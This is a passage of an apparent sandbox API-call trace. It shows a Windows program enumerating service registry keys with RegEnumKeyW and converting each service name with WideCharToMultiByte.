lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0223.594] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0223.594] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0223.594] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0223.594] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0223.594] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0223.594] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0223.595] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0223.595] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f16e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0223.595] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0223.595] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0223.595] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0223.595] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0223.596] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0223.596] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0223.596] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0223.596] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0223.596] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0223.596] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0223.597] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0223.597] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0223.597] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0223.597] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0223.597] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0223.597] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0223.598] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0223.598] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0223.598] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0223.598] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0223.598] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0223.598] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0223.599] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0223.599] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0223.599] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0223.599] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0223.599] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0223.599] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0223.600] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0223.600] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0223.600] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 